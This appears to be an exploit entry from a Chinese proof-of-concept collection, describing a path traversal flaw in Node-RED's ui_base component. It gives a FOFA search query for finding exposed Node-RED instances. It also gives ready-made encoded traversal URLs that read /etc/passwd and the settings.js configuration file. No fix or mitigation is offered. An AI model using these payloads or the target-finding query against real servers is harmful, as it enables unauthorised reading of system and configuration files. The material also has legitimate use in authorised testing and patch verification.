Awesome-POC/Web应用漏洞/Node-RED ui_base 任意文件读取漏洞.md
2022-05-17 17:43:20 +08:00

42 lines
784 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Node-RED ui_base 任意文件读取漏洞
## 漏洞描述
Node-RED 在/nodes/ui_base.js中URL与'/ui_base/js/*'匹配然后传递给path.join
缺乏对最终路径的验证会导致路径遍历漏洞可以利用这个漏洞读取服务器上的敏感数据比如settings.js
## 漏洞影响
```
Node-RED
```
## FOFA
```
title="Node-RED"
```
## 漏洞复现
访问页面
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202101928889.png)
验证POC
```plain
/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js
```
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202101928013.png)
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202101928766.png)